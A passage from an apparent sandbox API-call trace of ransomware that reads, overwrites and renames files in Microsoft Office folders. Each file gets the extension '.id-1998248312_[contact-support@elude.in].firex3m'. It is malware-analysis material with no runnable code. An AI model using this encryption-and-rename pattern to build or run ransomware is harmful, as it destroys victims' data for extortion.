ftLastWriteTime.dwLowDateTime=0x2a7bd7ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43e4, dwReserved0=0x390039, dwReserved1=0x320038, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d4e00 [0245.873] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0245.873] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilesx64\\microsoft analysis services\\as oledb\\110\\cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0245.873] GetProcessHeap () returned 0x630000 [0245.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x70e8d40 [0245.873] GetProcessHeap () returned 0x630000 [0245.873] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4401) returned 0x73a97e0 [0245.874] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0245.874] ReadFile (in: hFile=0x4e8, lpBuffer=0x70e8d40, nNumberOfBytesToRead=0x43e0, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e8d40*, lpNumberOfBytesRead=0x3bbff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0250.227] GetProcessHeap () returned 0x630000 [0250.227] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317c98 [0250.227] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.227] WriteFile (in: hFile=0x4e8, lpBuffer=0x73a97e0*, nNumberOfBytesToWrite=0x43e0, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73a97e0*, lpNumberOfBytesWritten=0x3bbff0c*=0x43e0, lpOverlapped=0x0) returned 1 [0250.227] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.227] WriteFile (in: hFile=0x4e8, lpBuffer=0x73adbbf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73adbbf*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0250.227] SetFilePointerEx (in: hFile=0x4e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.227] WriteFile (in: hFile=0x4e8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0250.228] CloseHandle (hObject=0x4e8) returned 1 [0250.228] GetProcessHeap () returned 0x630000 [0250.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73a97e0 | out: hHeap=0x630000) returned 1 [0250.228] GetProcessHeap () returned 0x630000 [0250.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e8d40 | out: hHeap=0x630000) returned 1 [0250.228] GetProcessHeap () returned 0x630000 [0250.228] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317c98 | out: hHeap=0x630000) returned 1 [0250.228] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0250.228] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Analysis Services\\AS OLEDB\\110\\Cartridges\\as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2a79751b, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2a79751b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5b17ace5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4408, dwReserved0=0xc947496, dwReserved1=0x70e8d38, cFileName="as80.xsl.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="AS80XS~1.FIR")) returned 0x6d51c0 [0250.228] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0250.228] Sleep (dwMilliseconds=0x1) [0254.722] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG", len=0x6e | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG") returned 1 [0254.722] GetProcessHeap () returned 0x630000 [0254.722] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d98) returned 0x6fe3bb0 [0254.722] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0254.722] CloseHandle (hObject=0x6c8) returned 1 [0254.722] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0254.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0254.725] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0254.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27bee2a4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c6b, dwReserved0=0x5b005f, dwReserved1=0x6f0063, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0254.725] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0254.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\radial\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0254.725] GetProcessHeap () returned 0x630000 [0254.725] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c81) returned 0x73da3d8 [0254.726] GetProcessHeap () returned 0x630000 [0254.726] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c81) returned 0x726fa50 [0254.726] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0254.726] ReadFile (in: hFile=0x6c8, lpBuffer=0x73da3d8, nNumberOfBytesToRead=0x4c60, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x73da3d8*, lpNumberOfBytesRead=0x3bbff0c*=0x4c60, lpOverlapped=0x0) returned 1 [0256.127] GetProcessHeap () returned 0x630000 [0256.127] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0256.128] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.128] WriteFile (in: hFile=0x6c8, lpBuffer=0x726fa50*, nNumberOfBytesToWrite=0x4c60, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesWritten=0x3bbff0c*=0x4c60, lpOverlapped=0x0) returned 1 [0256.129] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.129] WriteFile (in: hFile=0x6c8, lpBuffer=0x72746af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x72746af*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0256.129] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0256.129] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0256.129] CloseHandle (hObject=0x6c8) returned 1 [0256.129] GetProcessHeap () returned 0x630000 [0256.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0256.130] GetProcessHeap () returned 0x630000 [0256.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73da3d8 | out: hHeap=0x630000) returned 1 [0256.130] GetProcessHeap () returned 0x630000 [0256.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0256.130] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0256.130] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\RADIAL\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27bee2a4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27bee2a4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5e9c6db4, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c8f, dwReserved0=0xc947496, dwReserved1=0x73da3d0, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d5200 [0256.131] FindClose (in: hFindFile=0x6d5200 | out: hFindFile=0x6d5200) returned 1 [0256.131] Sleep (dwMilliseconds=0x1) [0257.103] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF") returned 1 [0257.103] GetProcessHeap () returned 0x630000 [0257.104] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4cdc) returned 0x6fe3bb0 [0257.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.215] CloseHandle (hObject=0x430) returned 1 [0257.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.216] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.216] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.217] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b094aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d51c0 [0257.217] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0257.217] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\expeditn\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0257.217] GetProcessHeap () returned 0x630000 [0257.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1421) returned 0x70659b8 [0257.217] GetProcessHeap () returned 0x630000 [0257.217] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1421) returned 0x725d018 [0257.217] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.217] ReadFile (in: hFile=0x430, lpBuffer=0x70659b8, nNumberOfBytesToRead=0x1400, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x70659b8*, lpNumberOfBytesRead=0x3bbff0c*=0x1400, lpOverlapped=0x0) returned 1 [0257.237] GetProcessHeap () returned 0x630000 [0257.237] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7316e60 [0257.237] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.237] WriteFile (in: hFile=0x430, lpBuffer=0x725d018*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x725d018*, lpNumberOfBytesWritten=0x3bbff0c*=0x1400, lpOverlapped=0x0) returned 1 [0257.238] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.238] WriteFile (in: hFile=0x430, lpBuffer=0x725e417*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x725e417*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.238] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.238] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.238] CloseHandle (hObject=0x430) returned 1 [0257.238] GetProcessHeap () returned 0x630000 [0257.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x725d018 | out: hHeap=0x630000) returned 1 [0257.238] GetProcessHeap () returned 0x630000 [0257.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70659b8 | out: hHeap=0x630000) returned 1 [0257.238] GetProcessHeap () returned 0x630000 [0257.238] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7316e60 | out: hHeap=0x630000) returned 1 [0257.238] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EXPEDITN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: lpFindFileData=0x3bbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b094aa, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b094aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5f45b44a, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1424, dwReserved0=0xc947496, dwReserved1=0x70659b0, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f40 [0257.238] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0257.238] Sleep (dwMilliseconds=0x1) [0257.243] SysReAllocStringLen (in: pbstr=0x3bbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF", len=0x6f | out: pbstr=0x3bbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF") returned 1 [0257.244] GetProcessHeap () returned 0x630000 [0257.244] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4ccc) returned 0x6fe3bb0 [0257.244] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0257.244] CloseHandle (hObject=0x6c8) returned 1 [0257.244] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.244] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\preview.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.245] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfc6c | out: lpFindFileData=0x3bbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b2f705, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b2f705, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b2f705, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x54a, dwReserved0=0x5f0032, dwReserved1=0x63005b, cFileName="PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PREVIE~1.FIR")) returned 0x6d4f00 [0257.246] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0257.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\evrgreen\\preview.gif.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6c8 [0257.246] GetProcessHeap () returned 0x630000 [0257.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x756afb0 [0257.246] GetProcessHeap () returned 0x630000 [0257.246] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x561) returned 0x7567de8 [0257.246] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.246] ReadFile (in: hFile=0x6c8, lpBuffer=0x756afb0, nNumberOfBytesToRead=0x540, lpNumberOfBytesRead=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x756afb0*, lpNumberOfBytesRead=0x3bbff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.279] GetProcessHeap () returned 0x630000 [0257.279] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73172c0 [0257.279] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.279] WriteFile (in: hFile=0x6c8, lpBuffer=0x7567de8*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7567de8*, lpNumberOfBytesWritten=0x3bbff0c*=0x540, lpOverlapped=0x0) returned 1 [0257.279] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.279] WriteFile (in: hFile=0x6c8, lpBuffer=0x7568327*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7568327*, lpNumberOfBytesWritten=0x3bbff0c*=0x20, lpOverlapped=0x0) returned 1 [0257.279] SetFilePointerEx (in: hFile=0x6c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.280] WriteFile (in: hFile=0x6c8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x3bbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x3bbff0c*=0x4, lpOverlapped=0x0) returned 1 [0257.280] CloseHandle (hObject=0x6c8) returned 1 [0257.280] GetProcessHeap () returned 0x630000 [0257.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7567de8 | out: hHeap=0x630000) returned 1 [0257.280] GetProcessHeap () returned 0x630000 [0257.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x756afb0 | out: hHeap=0x630000) returned 1 [0257.280] GetProcessHeap () returned 0x630000 [0257.280] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73172c0 | out: hHeap=0x630000) returned 1 [0257.280] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x3bbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.280] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\EVRGREEN\\PREVIEW.GIF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x3bbfcc4 | out: 